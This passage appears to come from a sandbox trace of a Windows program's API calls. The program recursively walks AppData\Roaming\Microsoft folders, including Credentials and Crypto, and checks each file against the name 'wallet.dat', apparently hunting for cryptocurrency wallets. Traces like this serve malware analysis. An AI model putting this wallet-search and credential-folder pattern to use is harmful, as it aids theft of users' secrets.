(hMem=0x6f15b0) returned 0x0 [0266.341] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x271e6da0, ftCreationTime.dwHighDateTime=0x1d89790, ftLastAccessTime.dwLowDateTime=0x2e86f870, ftLastAccessTime.dwHighDateTime=0x1d8a107, ftLastWriteTime.dwLowDateTime=0x2e86f870, ftLastWriteTime.dwHighDateTime=0x1d8a107, nFileSizeHigh=0x0, nFileSizeLow=0xdaca, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="JP8fBxxxCWve9OaEYTGy.xlsx", cAlternateFileName="JP8FBX~1.XLS")) returned 1 [0266.341] lstrcmpW (lpString1="JP8fBxxxCWve9OaEYTGy.xlsx", lpString2="wallet.dat") returned -1 [0266.341] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc0440e0, ftCreationTime.dwHighDateTime=0x1d89ca2, ftLastAccessTime.dwLowDateTime=0x45807930, ftLastAccessTime.dwHighDateTime=0x1d8a4d0, ftLastWriteTime.dwLowDateTime=0x45807930, ftLastWriteTime.dwHighDateTime=0x1d8a4d0, nFileSizeHigh=0x0, nFileSizeLow=0xa94f, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="jSIRdMZfuV.wav", cAlternateFileName="JSIRDM~1.WAV")) returned 1 [0266.341] lstrcmpW (lpString1="jSIRdMZfuV.wav", lpString2="wallet.dat") returned -1 [0266.341] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94feea70, ftCreationTime.dwHighDateTime=0x1d8a1e0, ftLastAccessTime.dwLowDateTime=0x8823f490, ftLastAccessTime.dwHighDateTime=0x1d8a22f, ftLastWriteTime.dwLowDateTime=0x8823f490, ftLastWriteTime.dwHighDateTime=0x1d8a22f, nFileSizeHigh=0x0, nFileSizeLow=0x5aad, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="L5NKhVLiGH.swf", cAlternateFileName="L5NKHV~1.SWF")) returned 1 [0266.341] lstrcmpW (lpString1="L5NKhVLiGH.swf", lpString2="wallet.dat") returned -1 [0266.341] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16d05670, ftCreationTime.dwHighDateTime=0x1d8a587, ftLastAccessTime.dwLowDateTime=0xb657af30, ftLastAccessTime.dwHighDateTime=0x1d8a6b9, ftLastWriteTime.dwLowDateTime=0xb657af30, ftLastWriteTime.dwHighDateTime=0x1d8a6b9, nFileSizeHigh=0x0, nFileSizeLow=0xc407, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="l7QixwukYjdvEDupDs.mp3", cAlternateFileName="L7QIXW~1.MP3")) returned 1 [0266.341] lstrcmpW (lpString1="l7QixwukYjdvEDupDs.mp3", lpString2="wallet.dat") returned -1 [0266.341] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0266.341] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0266.341] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0266.341] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f15b0 [0266.341] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Microsoft" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft" [0266.341] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.341] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.341] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.341] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.342] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft" [0266.342] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft" [0266.342] lstrlenW (lpString="\\*") returned 2 [0266.342] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.342] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x706c80 [0266.342] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.342] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.342] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.342] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.342] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.342] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.342] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.342] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="AddIns", cAlternateFileName="")) returned 1 [0266.343] lstrcmpW (lpString1="AddIns", lpString2="..") returned 1 [0266.343] lstrcmpW (lpString1="AddIns", lpString2=".") returned 1 [0266.343] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.343] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="AddIns" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns" [0266.343] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.343] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.343] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.343] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.343] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns" [0266.343] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns" [0266.343] lstrlenW (lpString="\\*") returned 2 [0266.343] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns") returned 51 [0266.343] LocalAlloc (uFlags=0x40, uBytes=0x16a) returned 0x706de8 [0266.343] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\addins\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.344] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.344] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.344] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.344] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.344] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.344] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.344] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 0 [0266.344] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.344] LocalFree (hMem=0x706de8) returned 0x0 [0266.344] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.345] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.345] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0266.345] lstrcmpW (lpString1="Bibliography", lpString2="..") returned 1 [0266.345] lstrcmpW (lpString1="Bibliography", lpString2=".") returned 1 [0266.345] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.345] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Bibliography" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography" [0266.345] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.345] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.345] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.345] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.345] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography" [0266.345] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography" [0266.345] lstrlenW (lpString="\\*") returned 2 [0266.345] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography") returned 57 [0266.345] LocalAlloc (uFlags=0x40, uBytes=0x176) returned 0x706de8 [0266.346] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.346] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.346] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.346] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.346] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.346] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.346] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.346] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Style", cAlternateFileName="")) returned 1 [0266.346] lstrcmpW (lpString1="Style", lpString2="..") returned 1 [0266.346] lstrcmpW (lpString1="Style", lpString2=".") returned 1 [0266.346] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.346] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography", pszFile="Style" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0266.347] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.347] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Style", cAlternateFileName="")) returned 0 [0266.347] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.348] LocalFree (hMem=0x706de8) returned 0x0 [0266.348] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.348] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.348] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0266.348] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1 [0266.348] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1 [0266.348] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.348] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Credentials" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials" [0266.348] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.349] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.349] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.349] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.349] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials" [0266.349] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials" [0266.349] lstrlenW (lpString="\\*") returned 2 [0266.349] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials") returned 56 [0266.349] LocalAlloc (uFlags=0x40, uBytes=0x174) returned 0x706de8 [0266.349] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\credentials\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.350] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.350] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.350] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.350] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.350] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.350] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.350] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 0 [0266.350] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.351] LocalFree (hMem=0x706de8) returned 0x0 [0266.351] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.351] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.351] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Crypto", cAlternateFileName="")) returned 1 [0266.351] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0266.351] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0266.351] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.351] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Crypto" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto" [0266.351] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.351] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.351] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.351] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.351] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto" [0266.352] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto" [0266.352] lstrlenW (lpString="\\*") returned 2 [0266.352] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto") returned 51 [0266.352] LocalAlloc (uFlags=0x40, uBytes=0x16a) returned 0x706de8 [0266.352] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.352] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.352] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.352] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.352] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.352] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.352] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.352] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="RSA", 